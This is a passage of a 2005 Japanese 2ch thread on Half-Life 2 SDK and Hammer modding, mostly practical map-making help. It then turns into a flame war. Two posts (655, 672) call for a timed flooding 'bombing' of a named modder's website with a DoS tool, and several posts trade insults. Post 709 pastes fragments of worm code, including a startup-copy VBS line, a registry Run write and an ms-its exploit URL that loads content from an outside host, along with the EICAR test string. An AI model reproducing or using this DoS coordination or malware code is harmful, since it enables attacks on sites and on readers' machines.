2005/11/21(月) 17:13:14ID:RXX3ZU5z摩擦の設定がある
sv_frictionだったかな
そんな感じのやつ
他のサーフ鯖行ってそのコマンド打って数値見てから
自分の鯖でそれ設定してみたら?
0572名無しさん@お腹いっぱい。
2005/11/22(火) 01:20:31ID:/eI/120J誰か、いつものキメ台詞を頼む。
|
|
|
↓
0573名無しさん@お腹いっぱい。
2005/11/22(火) 01:24:17ID:6asSDro40574名無しさん@お腹いっぱい。
2005/11/22(火) 11:36:40ID:G/CEPJg5|
|
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0575名無しさん@お腹いっぱい。
2005/11/22(火) 15:09:15ID:MLJD1doX↓ ↑
↓ ↑
↓ ↑
↓ ↑
└→→→→┘
0576名無しさん@お腹いっぱい。
2005/11/22(火) 16:09:51ID:p/Gww80l0577名無しさん@お腹いっぱい。
2005/11/22(火) 16:10:40ID:8c5fjQDQ0578名無しさん@お腹いっぱい。
2005/11/22(火) 16:13:54ID:cdpRMAtG0579名無しさん@お腹いっぱい。
2005/11/22(火) 16:39:33ID:aFW2y3eX↓→P
→↓→P
0580名無しさん@お腹いっぱい。
2005/11/22(火) 20:07:20ID:bRE+9b3j0581名無しさん@お腹いっぱい。
2005/11/22(火) 20:52:13ID:3TUBgQ8m0582名無しさん@お腹いっぱい。
2005/11/22(火) 21:04:46ID:XCRjjF/F0583名無しさん@お腹いっぱい。
2005/11/22(火) 21:35:13ID:8c5fjQDQ0584名無しさん@お腹いっぱい。
2005/11/22(火) 23:06:16ID:bRE+9b3j0585名無しさん@お腹いっぱい。
2005/11/22(火) 23:55:31ID:8c5fjQDQSDKの中のHammerというマップ製作ツール。
0586名無しさん@お腹いっぱい。
2005/11/23(水) 09:09:02ID:9bxcUHSJ0587名無しさん@お腹いっぱい。
2005/11/23(水) 10:46:18ID:AegWAAPZ(゚∀゚) サンクスコ
0588名無しさん@お腹いっぱい。
2005/11/23(水) 11:15:45ID:JwC03y/D違うっしょ
0589名無しさん@お腹いっぱい。
2005/11/23(水) 11:47:45ID:n4lDakjo0590名無しさん@お腹いっぱい。
2005/11/23(水) 20:08:15ID:RG5DcuSV0591名無しさん@お腹いっぱい。
2005/11/23(水) 20:45:31ID:4MzKbNzTマジレスすると、使うべきところもないし、既存の部分を書き換える意味もない。
0592名無しさん@お腹いっぱい。
2005/11/23(水) 21:44:46ID:RG5DcuSVCSの武器を追加したりYO…
0593名無しさん@お腹いっぱい。
2005/11/24(木) 00:15:10ID:xQV8Em+GLUAってのはただの言語だ。それを使ったところでCSの武器が使えるようになることはない。
もっとも、GMODみたいに使えるとしたなら、CS:Sのモデルをロード⇒HL2モデルとの位置の差を補正⇒使用するモーションの名前をモデルデータのものに差し替える
といったことも不可能ではないんだと思うが、
そうでないなら、お前自身でCS:Sのモデルをデコンパイルして、位置あわせして、モーションをリネームしてHL2で使えるようにしてくれよ。
0594名無しさん@お腹いっぱい。
2005/11/24(木) 01:28:45ID:nWOQ9Q520595名無しさん@お腹いっぱい。
2005/11/24(木) 02:09:25ID:xQV8Em+G起動オプションに書き足す方法でも出来るのかも知れないけど、漏れの環境ではムリだった。
でもまぁ、以前にも増して落ちやすくなってる上に、ベータ故にいろいろバグ報告されてるから、
DOD:SのマップにHDR入れたい人か、人柱的検証者以外は入れないほうがいいかも。
とりあえず、βの変更点はC-SECの「最近のForumトピック」ってとこに日本語化されたものがあるから、そこ見てから決めるべきかもね。
0596名無しさん@お腹いっぱい。
2005/11/24(木) 16:18:19ID:bOGHtahU自分が保存している情報
sv_airaccelerateの数値を上げないとすぐ落ちちゃうから必ず変更。
デフォルトは10だけど多くのサーフィンマップは100を想定して
作られているらしい。
778 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/07/19(火) 22:22:38 ID:PqGKEZnV
>>745
"sv_airaccelerate 100"にしてる?これは絶対条件ですよ
とりあえず操作系の説明しとくと
・操作は左右キー(A,D)とマウスだけを使う。上下キー(W,S)は使わない。
・左側の壁(この壁をランプと呼ぶ)に沿って滑っているときは左キー、右側のときは右キーを押し続ける。
・マウスで方向指示。滑っているときはランプの「流れ」に照準を合わせるようにする
・空中で左に曲がるときは左キーを押しながらマウスを左に傾けるようにする
・ランプから飛んだ瞬間は前にスピードが出ているので、このスピードをなるべく殺さないように滑っていく。
0597名無しさん@お腹いっぱい。
2005/11/24(木) 20:37:32ID:7rh6X1FQambient_genericエンティティで再生出来ると言う事は分かったのですが、
肝心のwavファイルを何処に入れてやれば良いのか分かりません。
0598名無しさん@お腹いっぱい。
2005/11/24(木) 21:22:13ID:xQV8Em+Gとりあえず、著作権のあるものは使わないようにね。
0599名無しさん@お腹いっぱい。
2005/11/24(木) 21:22:53ID:7rh6X1FQ�d
やっぱりHL2本編のモノは使っちゃマズイかな・・・?
0600名無しさん@お腹いっぱい。
2005/11/24(木) 22:59:21ID:xQV8Em+Gや、HL2の物は使っていいかと・・・
と言うか、ambient_genericのサウンド選択でHL2の音楽選択できるから、
いちいちフォルダに移動・・なんて面倒なことしなくていいしw
0601名無しさん@お腹いっぱい。
2005/11/24(木) 23:04:17ID:lXZXyjF+0602名無しさん@お腹いっぱい。
2005/11/24(木) 23:13:27ID:7rh6X1FQ加工もしているのですが大丈夫でしょうか?
それからもしかしたらFake Factoryのサウンドパックのモノかも・・・。
本編にHL2_song_3.mp3ってのありましたっけ?
0603名無しさん@お腹いっぱい。
2005/11/24(木) 23:43:55ID:aku/8BxV加工したら「本編のモノ」ではないだろ。
0604名無しさん@お腹いっぱい。
2005/11/24(木) 23:49:02ID:7rh6X1FQやっぱりそうですか。
ゲイブのためにも日本の未来のためにも使っちゃ駄目ですね。
ありがとうございました。
0605名無しさん@お腹いっぱい。
2005/11/25(金) 01:34:42ID:3pR4cGjP君にだけしか出来ないオリジナルを作るが良い!
0606名無しさん@お腹いっぱい。
2005/11/25(金) 23:40:15ID:Cbc5jaF4好きに改変してやれ。
0607名無しさん@お腹いっぱい。
2005/11/26(土) 00:24:00ID:RquGKvp7改変も可能。ただ素材を引っこ抜いて自作ゲームに使うとか、
別のゲームのMODに使うとかはNG。詳しくは使用条件とかに
あったように思う。
0608名無しさん@お腹いっぱい。
2005/11/26(土) 07:15:41ID:G3/dpVH4ホント?
ヤッター
0609名無しさん@お腹いっぱい。
2005/11/26(土) 08:56:32ID:G3/dpVH4改変したbgm.wavがあります。それを
C:\Program Files\Valve\Steam\SteamApps\アカウント名\half-life 2\hl2\sound\music
に入れ、hammerでambient_genericエンティティのプロパティで
soundnamae→browseで音楽選択だと思うのですが、先程入れたbgm.wavが出てきません。
mp3にして入れてみたのですがだめでした。
何かほかに特別な作業が必要なのでしょうか?
0610名無しさん@お腹いっぱい。
2005/11/26(土) 11:42:16ID:OpKz1Vcjしているんですが、これを設定はそのままの複数のエンティティに分割することは
可能でしょうか。
Move to Worldだと設定が消えてしまうし、作り直すしかないとすれば泣けてきます。
0611名無しさん@お腹いっぱい。
2005/11/26(土) 12:03:01ID:1b/Qx7Vwtools -> optionを見てみて。
HammerではGame Directoryに書いてあるパスか、
そこに置いてあるGameInfo.txtに書かれたパスか、
$SteamUserDir\sourcesdk\hl2\にあるリソースしか参照できないと思う。
DM用の設定なら
$SteamUserDir\half-life 2 deathmatch\hl2mp\か、
*.fgd内の\hl2\もしくは\hl2mp\か、
$SteamUserDir\sourcesdk\hl2\
にないと駄目なはず。
今回なら上のパス+sound\music\bgm.wavね。
ちなみに、
オリジナルのリソースは全て*.fgd内の\hl2\もしくは\hl2mp\にあるから
Hammerでは全部参照できる。
0612名無しさん@お腹いっぱい。
2005/11/26(土) 12:06:59ID:1b/Qx7Vwまるごとコピー。
元の方をMove to World。
ひとつづつエンティティ化(ctrl+t)。
全部選択してコピーの方と同じ設定にする。
0613名無しさん@お腹いっぱい。
2005/11/26(土) 13:19:08ID:OpKz1Vcj助かりました。30分ほどで作業を完了することができました。
0614名無しさん@お腹いっぱい。
2005/11/26(土) 14:38:06ID:HVgjxwnEウルトラメンドクサスww
0615名無しさん@お腹いっぱい。
2005/11/26(土) 16:41:27ID:G3/dpVH4でけた!
GameDirectoryをsourcesdk\hl2\soundに変更すると分かり合えました。
これでやっと先に進めます。ありがとうございました。
0616名無しさん@お腹いっぱい。
2005/11/27(日) 20:59:23ID:CzeEbyH2普通のCOOPマップの
「こいつら倒したら次はあいつらが出てきて」
というような設定はどうすれば出来るのでしょうか?
それからCOOPって普通のマップに敵配置しただけでもCOOPとして遊べますか
分かり難くて申し訳ありません。
0617名無しさん@お腹いっぱい。
2005/11/27(日) 21:36:10ID:ynlSVe9bテ ン プ レ を 読 め
0618名無しさん@お腹いっぱい。
2005/11/27(日) 21:59:46ID:CzeEbyH2C-SECやらにもある程度目を通しましたが、いまいちよく分かりませんでした。
バカだからですか?
0619名無しさん@お腹いっぱい。
2005/11/27(日) 22:01:29ID:RbRgkMco0620名無しさん@お腹いっぱい。
2005/11/27(日) 22:01:52ID:IxkhnAPw倒した敵カウントはmath_counterでできる。
0621名無しさん@お腹いっぱい。
2005/11/27(日) 22:19:48ID:CzeEbyH2サンクスです。
エンティティの使い方全てをまとめたサイトってないですか?
C-SECのは種類が少ないし不明ってのもあるし・・・
0622名無しさん@お腹いっぱい。
2005/11/27(日) 22:34:37ID:ynlSVe9bそれは見方が悪い。
coopのチュートリアルのリンクもテンプレにある。
0623名無しさん@お腹いっぱい。
2005/11/27(日) 23:34:16ID:hD/dVUC5helpみりゃ大抵わかるよ。
まずはtrigger_onceでnpc_template_makerをonにしてnpcを沸かせ、
全部倒したらgame_endでマップを終了させるってのを目指して頑張れ。
0624名無しさん@お腹いっぱい。
2005/11/28(月) 00:45:11ID:1azgsclihttp://www3.axfc.net/uploader/7/so/No_2080.txt.html
coopマップ見習い用の簡潔なマップソース。パス7777。vmfにリネームね。
これの全てを理解すればひとまず自分で作れるようになると思う。
0625名無しさん@お腹いっぱい。
2005/11/29(火) 21:21:28ID:JTDKHSXe元々入ってるマップを調べてみたところrotationは使ってないみたいでもしかして簡単な方法があったりするんでしょうか
0626名無しさん@お腹いっぱい。
2005/11/29(火) 22:04:06ID:XyvLvaNl>>312はどう?
0627名無しさん@お腹いっぱい。
2005/11/30(水) 00:50:16ID:DhUzOzVe0628名無しさん@お腹いっぱい。
2005/11/30(水) 00:50:58ID:DhUzOzVeテクスチャロック機能使えばなんとかなるんじゃない?
0629名無しさん@お腹いっぱい。
2005/11/30(水) 03:09:59ID:l3c8e/lrこれ凄いですねえ、参考にしてみます
>>628
Archなどを使って作っているんですが、テクスチャロックだと置いてから曲げないと意味がない?
なんで公式で簡単に作れるようなものがなかったんだろう・・・
0630名無しさん@お腹いっぱい。
2005/11/30(水) 18:50:51ID:vtVM/d2u博士を奪い合いたい。
0631名無しさん@お腹いっぱい。
2005/12/01(木) 02:29:14ID:lbbklr9z将来リリースされないだろーか
オリジナルMODEL作成・適応ですら今の方式ではめんどう。
0632名無しさん@お腹いっぱい。
2005/12/01(木) 02:43:40ID:lFoZZED/エンジンの仕様でHL2では無理。
そういうのやりたかったら別ゲーに移るべき。
0633名無しさん@お腹いっぱい。
2005/12/02(金) 16:10:13ID:iYalxOeKそれからHammerを起動させるとExtra App ID set to 211, but no SteamAppidとエラーが出て動きません。
一度消して入れなおしてみたんですが同じエラーが出るみたいです。他の方は普通に動いてたりします?
0634名無しさん@お腹いっぱい。
2005/12/02(金) 18:28:24ID:wfuaey9YC-SECに報告きてるが、解決策はまだ不明っぽ。
ということで大人しくVALVEが更新するの待つしかないっぽ。
0635名無しさん@お腹いっぱい。
2005/12/02(金) 21:54:01ID:uLsBJAM+0636名無しさん@お腹いっぱい。
2005/12/02(金) 22:31:15ID:Uk0FPMIo0637名無しさん@お腹いっぱい。
2005/12/07(水) 03:48:11ID:TCe2ataYエンジンの仕様じゃなくてエディタやSDKの仕様でしょ。
例えばオリジナルのモデルを追加する場合に、自作のsmdをHammerにドラッグしたらコンパイルの設定をするためのGUIでも開き、
わざわざテキストでqcを記述しなくても目で変化を見ながら設定できて、okを押したら自動的にコンパイルしてHammerのライブラリに追加とか、そういう機能が欲しいと言ってるんだろう。
同様にマテリアルもプレビュー付きで変化を見ながら設定したいとかさ。
>>631
まぁ多分、今後VerUPしてもそんな便利にはならないから。 諦めな(´・ω・`)
0638名無しさん@お腹いっぱい。
2005/12/07(水) 11:05:35ID:aUHxnlIv0639名無しさん@お腹いっぱい。
2005/12/08(木) 05:04:16ID:pk6P6UT80640名無しさん@お腹いっぱい。
2005/12/08(木) 06:47:20ID:SH7XAocgぐぐれカス♪
は冗談として、
http://www.c-sec.net/phpBB/viewtopic.php?t=1064&highlight=HL2Studio
こちらです。
0641名無しさん@お腹いっぱい。
2005/12/08(木) 20:11:30ID:n5fzAESZ本編みたいな シナリオのある本格的なシングルプレイMOD作る人専用な感じの
ツールみたいだよね。
0642名無しさん@お腹いっぱい。
2005/12/08(木) 21:57:50ID:pk6P6UT80643名無しさん@お腹いっぱい。
2005/12/08(木) 22:50:02ID:SH7XAocgMAX使いもね。
っていうかMAYAってコレからどうなるんだろうね。
0644名無しさん@お腹いっぱい。
2005/12/09(金) 15:45:41ID:w9EGwlKw調子いてんじゃねーぞガキが出てこいや!!!!!!!!!!!!!!!!!11
2chでしかしゃしゃれねえのか?????????え????????????
おいざけてんじゃねーぞ、あーあーおまえの書き込みで公開するのやーめた。
何が自演だボケ、俺の知名度しらないわけ?あ?てめぇみてぇな低脳とはちげーのよOK?
つーか、海外でも話題になってるしな、あー英語読めないのねwwww低脳だもんねwwww
0645名無しさん@お腹いっぱい。
2005/12/09(金) 17:45:58ID:mis0Cip6http://www.vipper.org/vip155098.png
釣りですた宣言^^;
http://www.vipper.org/vip155099.jpg
本スレ
http://game9.2ch.net/test/read.cgi/gamef/1133706629/
0646名無しさん@お腹いっぱい。
2005/12/09(金) 18:41:40ID:KRP/4Nas区図だなw
0647名無しさん@お腹いっぱい。
2005/12/09(金) 19:10:24ID:u4CSChkaそれ新めのコピペだよ…
0648名無しさん@お腹いっぱい。
2005/12/09(金) 20:49:35ID:mis0Cip6www
0649名無しさん@お腹いっぱい。
2005/12/09(金) 20:50:42ID:1fr8mM000650名無しさん@お腹いっぱい。
2005/12/09(金) 20:51:51ID:Muos3cFL今立ててもVIPもついてきちゃうし
0651名無しさん@お腹いっぱい。
2005/12/09(金) 20:55:26ID:idK/+682( ^ω^) …
(⊃⊂)
(^ω^;)⊃ アウアウ!!
⊂ミ⊃ )
/ ヽ
0652名無しさん@お腹いっぱい。
2005/12/09(金) 20:55:48ID:ec35uoTgお前、散々煽ってた張本人なのに、今更何言ってるんだ?
0653名無しさん@お腹いっぱい。
2005/12/09(金) 20:56:02ID:kQeWjymM0654名無しさん@お腹いっぱい。
2005/12/09(金) 20:56:26ID:zo6A8JHwほんと役者だなー、お前。びっぷりした。
0655名無しさん@お腹いっぱい。
2005/12/09(金) 20:56:30ID:Vcf+XnDB調子いてんじゃねーぞガキが出てこいや!!!!!!!!!!!!!!!!!11
2chでしかしゃしゃれねえのか?????????え????????????
おいざけてんじゃねーぞ、あーあーおまえの書き込みで公開するのやーめた。
何が自演だボケ、俺の知名度しらないわけ?あ?てめぇみてぇな低脳とはちげーのよOK?
つーか、海外でも話題になってるしな、あー英語読めないのねwwww低脳だもんねwwww
ゲームMOD作者OGGが自作自演
自作自演がばれた直後、煽り文を自サイトにうp
http://www.vipper.org/vip155098.png
スレが進む中、リアルタイムに釣りですた宣言
http://www.vipper.org/vip155099.jpg
の直後に再度自演
2ch住民を煽るカスOGGを再起不能にしよう
田代砲の保管庫
http://tasiro.e-city.tv/
大本営
□■HALF-LIFE2 MOD・SDKスレ その4■□
http://game9.2ch.net/test/read.cgi/gamef/1119745898/
爆撃目標
http://oggxgl.fc2web.com/
爆撃予定時刻
2005年12月9日 22:00
0656名無しさん@お腹いっぱい。
2005/12/09(金) 20:57:39ID:mis0Cip6ちょっとまてwwwwここはSDKスレ
0657名無しさん@お腹いっぱい。
2005/12/09(金) 20:58:06ID:mis0Cip60658名無しさん@お腹いっぱい。
2005/12/09(金) 20:58:08ID:729TKTgF0659名無しさん@お腹いっぱい。
2005/12/09(金) 20:58:45ID:Muos3cFL0660名無しさん@お腹いっぱい。
2005/12/09(金) 20:58:48ID:Y/HB003Q0661名無しさん@お腹いっぱい。
2005/12/09(金) 20:59:40ID:kQeWjymM燃料アンドVIP誘導オツwwwwww
0662名無しさん@お腹いっぱい。
2005/12/09(金) 20:59:53ID:ec35uoTgシコシコとSDKをいじる人のためのスレですよ。
0663名無しさん@お腹いっぱい。
2005/12/09(金) 20:59:55ID:Muos3cFLttp://www.4gamer.net/patch/demo/hl2/hl2.shtml
↑ここにある
HL2は2004年いくつかのメディアで"Game of the Year"(GOTY)を受賞している
つまり2004年にでた最高のゲームってわけ
0664名無しさん@お腹いっぱい。
2005/12/09(金) 21:01:21ID:idK/+6820665名無しさん@お腹いっぱい。
2005/12/09(金) 21:01:36ID:kQeWjymMこぴぺ乙
プゲラ
0666名無しさん@お腹いっぱい。
2005/12/09(金) 21:01:44ID:1fr8mM00OGGがVIPにケンカ撃ってるお
の方でお願いします。
0667名無しさん@お腹いっぱい。
2005/12/09(金) 21:03:27ID:ec35uoTgこっちでやろう、な!
http://game9.2ch.net/test/read.cgi/gamef/1119745898/
0668名無しさん@お腹いっぱい。
2005/12/09(金) 21:03:34ID:Muos3cFLアホ同士なにやってんだか
0669名無しさん@お腹いっぱい。
2005/12/09(金) 21:05:00ID:cNkLcTU60670名無しさん@お腹いっぱい。
2005/12/09(金) 21:06:28ID:omJJ9EZB0671名無しさん@お腹いっぱい。
2005/12/09(金) 21:07:00ID:Muos3cFL0672名無しさん@お腹いっぱい。
2005/12/09(金) 21:07:14ID:Vcf+XnDB調子いてんじゃねーぞガキが出てこいや!!!!!!!!!!!!!!!!!11
2chでしかしゃしゃれねえのか?????????え????????????
おいざけてんじゃねーぞ、あーあーおまえの書き込みで公開するのやーめた。
何が自演だボケ、俺の知名度しらないわけ?あ?てめぇみてぇな低脳とはちげーのよOK?
つーか、海外でも話題になってるしな、あー英語読めないのねwwww低脳だもんねwwww
ゲームMOD作者OGGが自作自演
自作自演がばれた直後、煽り文を自サイトにうp
http://www.vipper.org/vip155098.png
スレが進む中、リアルタイムに釣りですた宣言
http://www.vipper.org/vip155099.jpg
の直後に再度自演
2ch住民を煽るカスOGGを再起不能にしよう
田代砲の保管庫
http://tasiro.e-city.tv/
大本営
http://ex14.2ch.net/test/read.cgi/news4vip/1134127166/
爆撃目標
http://oggxgl.fc2web.com/
爆撃予定時刻
2005年12月9日 22:00
0673名無しさん@お腹いっぱい。
2005/12/09(金) 21:09:25ID:kQeWjymMどうもVIPが迷惑かけたぉ
0674名無しさん@お腹いっぱい。
2005/12/09(金) 21:09:56ID:Vcf+XnDB0675名無しさん@お腹いっぱい。
2005/12/09(金) 21:10:18ID:0sOc+IBQ0676名無しさん@お腹いっぱい。
2005/12/09(金) 21:10:41ID:ztRSeSY60677名無しさん@お腹いっぱい。
2005/12/09(金) 21:11:09ID:Muos3cFLま、これ以上恥かかんように早めの撤収は懸命だよVIPPER諸君w
0678名無しさん@お腹いっぱい。
2005/12/09(金) 21:11:33ID:ztRSeSY60679名無しさん@お腹いっぱい。
2005/12/09(金) 21:12:34ID:7INIzsWoMuos3cFLも遠吠えしてるし
万引きブログに集中しよ
0680名無しさん@お腹いっぱい。
2005/12/09(金) 21:12:41ID:729TKTgFID:Muos3cFLのリア厨はもう煽らないのかお?m9(^Д^)
0681名無しさん@お腹いっぱい。
2005/12/09(金) 21:12:55ID:idK/+6820682名無しさん@お腹いっぱい。
2005/12/09(金) 21:13:38ID:zo6A8JHwあるあるwwwwwwwww
0683名無しさん@お腹いっぱい。
2005/12/09(金) 21:13:50ID:0sOc+IBQ0684これ以上はじかきたいならご勝手に
2005/12/09(金) 21:14:15ID:Muos3cFL2 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/12/09(金) 20:20:37 ID:aT2iC7lC0
「VIPに」じゃねーだろ
「お前に」だろ
自分の尻ぐらい自分でぬぐえ
一人でやってろ突撃厨が
3 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/12/09(金) 20:22:38 ID:BeEWtNB1O
>>2
たけし!もっと言っておやり!
4 名前:以下、名無しにかわりましてVIPがお送りします[sage] 投稿日:2005/12/09(金) 20:27:17 ID:wSY41xmK0
>>2
禿同
5 名前:以下、名無しにかわりましてVIPがお送りします[sage] 投稿日:2005/12/09(金) 20:29:15 ID:sENDl3+z0
宣伝厨がウザいのは確かだ
12 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/12/09(金) 21:08:03 ID:jj38Mmgt0
>>1 はよ、削除してこい
0685名無しさん@お腹いっぱい。
2005/12/09(金) 21:15:21ID:Muos3cFL7 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/12/09(金) 21:02:54 ID:nM+8s6Bl0
>>1
大本営とかねーからマジ市ね
8 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/12/09(金) 21:03:12 ID:nM+8s6Bl0
>>6
ふざけんなクソ
10 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/12/09(金) 21:05:37 ID:VoIzm/r90
てか、飽きたwwwwwwwww
11 名前:以下、名無しにかわりましてVIPがお送りします[sage] 投稿日:2005/12/09(金) 21:06:30 ID:TGUTUTaY0
>>6
関係ない人間にまで迷惑かけるなよ…
それでなくてもVIPの評判悪いのに
それは「祭り」じゃなくただの「荒らし」
12 名前:以下、名無しにかわりましてVIPがお送りします[] 投稿日:2005/12/09(金) 21:08:03 ID:jj38Mmgt0
>>1 はよ、削除してこい
0686名無しさん@お腹いっぱい。
2005/12/09(金) 21:15:53ID:0sOc+IBQろていしちゃった アハハ
0687名無しさん@お腹いっぱい。
2005/12/09(金) 21:16:17ID:Muos3cFL0688名無しさん@お腹いっぱい。
2005/12/09(金) 21:16:18ID:B5SEbX0Z0689名無しさん@お腹いっぱい。
2005/12/09(金) 21:16:19ID:0sOc+IBQ俺は戦い続けるぞ!!!!!!!!!!11
0690名無しさん@お腹いっぱい。
2005/12/09(金) 21:16:29ID:idK/+6820691名無しさん@お腹いっぱい。
2005/12/09(金) 21:18:15ID:Muos3cFL単発ID乙
これから自分のつくった駄スレ
http://ex14.2ch.net/test/read.cgi/news4vip/1134127166/
のフォローに必死ですなw
しっかりログは保管させてもらう突撃厨のVIP内自滅の記録としてw
0692名無しさん@お腹いっぱい。
2005/12/09(金) 21:18:19ID:zo6A8JHw吹いたwwwwwwwwwwwwwwwwwwwwうぇうぇwwwwwwwwwwwwww
0693名無しさん@お腹いっぱい。
2005/12/09(金) 21:19:28ID:B5SEbX0Zおまえみたいに無職でPCの前に張り付いてるんじゃないからなw
0694名無しさん@お腹いっぱい。
2005/12/09(金) 21:19:41ID:idK/+6820695名無しさん@お腹いっぱい。
2005/12/09(金) 21:19:45ID:0sOc+IBQ死ねよ 根性腐ってる 男根ねえんだろ
0696名無しさん@お腹いっぱい。
2005/12/09(金) 21:20:16ID:0sOc+IBQ0697名無しさん@お腹いっぱい。
2005/12/09(金) 21:21:04ID:idK/+682いやお前の所のやつじゃないの田代撃つぞいってたの
0698名無しさん@お腹いっぱい。
2005/12/09(金) 21:21:12ID:Muos3cFLそう俺はCounter-Vipper Force(通称CVF)
0699名無しさん@お腹いっぱい。
2005/12/09(金) 21:21:29ID:7eXTQO1Q0700名無しさん@お腹いっぱい。
2005/12/09(金) 21:21:47ID:kQeWjymM>>698
はいうんこうんこ
0701名無しさん@お腹いっぱい。
2005/12/09(金) 21:21:55ID:zo6A8JHwいや、こちらこそなんかすみません。田代しろと言われたもんでして。
0702名無しさん@お腹いっぱい。
2005/12/09(金) 21:23:00ID:zo6A8JHwオレはVIPPERじゃないよ
そう俺はCounter-Vipper Force(通称CVF)
698 :名無しさん@お腹いっぱい。:2005/12/09(金) 21:21:12 ID:Muos3cFL
オレはVIPPERじゃないよ
そう俺はCounter-Vipper Force(通称CVF)
698 :名無しさん@お腹いっぱい。:2005/12/09(金) 21:21:12 ID:Muos3cFL
オレはVIPPERじゃないよ
そう俺はCounter-Vipper Force(通称CVF)
698 :名無しさん@お腹いっぱい。:2005/12/09(金) 21:21:12 ID:Muos3cFL
オレはVIPPERじゃないよ
そう俺はCounter-Vipper Force(通称CVF)
おじさん思わず赤面しちゃったよ
0703名無しさん@お腹いっぱい。
2005/12/09(金) 21:23:16ID:0sOc+IBQ去勢されたうえに皮だけはまだのこってんじゃねーのか?このチンカスww
0704名無しさん@お腹いっぱい。
2005/12/09(金) 21:23:38ID:Muos3cFL戦争どころかVIP内で内紛おこってるじゃねーかw
OGGがVIPにケンカ撃ってるお
http://ex14.2ch.net/test/read.cgi/news4vip/1134127166/
0705名無しさん@お腹いっぱい。
2005/12/09(金) 21:24:25ID:Muos3cFLマジレス乙
0706名無しさん@お腹いっぱい。
2005/12/09(金) 21:24:51ID:Muos3cFL0707名無しさん@お腹いっぱい。
2005/12/09(金) 21:24:58ID:7eXTQO1QCounter-Vipper ForceがVIP領土内へ侵攻、ついに世界大戦の幕が切手おとされた!
てな感じでよろ。
>>704
それはこの史上最大の大戦争の序章にすぎない!
0708名無しさん@お腹いっぱい。
2005/12/09(金) 21:25:09ID:idK/+682そりゃこっちから流れてきた奴だろ
頭大丈夫か?
0709名無しさん@お腹いっぱい。
2005/12/09(金) 21:25:22ID:ms66jgZcc.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
0710名無しさん@お腹いっぱい。
2005/12/09(金) 21:26:12ID:Muos3cFLフン面白くなってきやがったぜ!
0711名無しさん@お腹いっぱい。
2005/12/09(金) 21:26:46ID:0sOc+IBQプププ
0712名無しさん@お腹いっぱい。
2005/12/09(金) 21:27:15ID:ztRSeSY60713名無しさん@お腹いっぱい。
2005/12/09(金) 21:27:34ID:ms66jgZc0714名無しさん@お腹いっぱい。
2005/12/09(金) 21:28:15ID:Muos3cFL0715名無しさん@お腹いっぱい。
2005/12/09(金) 21:28:28ID:ms66jgZcヨ儲諸隴躇醴蠶歎勺尓俎赴 �f蠶蠶蠢レ ∴�f醴蠶鬪扠川ジ⊇氾衒鑵醴蠶蠶蠶蠶蠶
ヨ鐘諸薩讒蠢欟厂 ベ状抃 傭蠶蠶髏厂 ヨ繍蠶蠶臥べ泣澁価価櫑蠶蠶蠶蠶蠶蠶蠶
�f罐諸醴蠶蠶歎 マシ‥…ヲ冖 .∴瀦醴蠶襲�j�J鶴門門攤蠶蠶蠶蠶蠶蠶蠶蠶
加罐讒蠶蠶欟厂 ヘ ∴�f醴醴蠶甑欄鬮°�f蠢蠶蠶蠶蠶蠶蠶蠶蠶蠶
溷霾醴蠶蠶勸 ∴ヨ繍醴蠶蠶鬮狡圷し醴蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
醴蠶蠶蠶蠶髟 ベ湖醴醴蠶蠶蠶庇⊇⊇��體髏髏蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶蠶欟 �f繍蠶蠶蠶蠶蠶曲三三巛憫髏蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶蠶歉 澁畄_迢艪蠶蠶蠶蠶蠶蠶甜川⊇川川衍捫軆髏髏蠶蠶蠶蠶
蠶蠶蠶蠶髟 コ醴蠶奴繍蠶蠶蠶蠶蠶蠶蠶齡辷シジ⊇川介堀醴醴蠶蠶蠶蠶
蠶蠶蠶鬮か .ベ苛ザベ繍蠶蠶蠶蠶蠶蠶蠶醯己に⊇三介�f繙醴蠶蠶蠶蠶蠶
蠶蠶髏鬮シ 尽慵蠶蠶蠶蠶蠶蠶蠶自辷三沿滋鐘醴蠶蠶蠶蠶蠶蠶
蠶蠶醴勸 氾隅髏蠶蠶蠶蠶蠶靦鉱琺雄躍蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶醴訃 ∴∴∴沿滋溷醴髏蠶髏髏韲譴躇醴蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶髟 _山辷ム�f蠡舐鑓躍醯罎體體體驩讎櫑蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶�a �f躍蠶蠶�J蠶蠶蠶蠶蠶蠶蠶醯註珀雄醴醴蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶蠶廴 �f醴蠶欟閇憊體醴蠶蠶蠶蠶蠶蠶靦錐讒醴蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
蠶蠶欟シ 禰蠶蠶蠢螽螽�f醴蠶蠶蠶蠶蠶蠶蠶躍蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶蠶
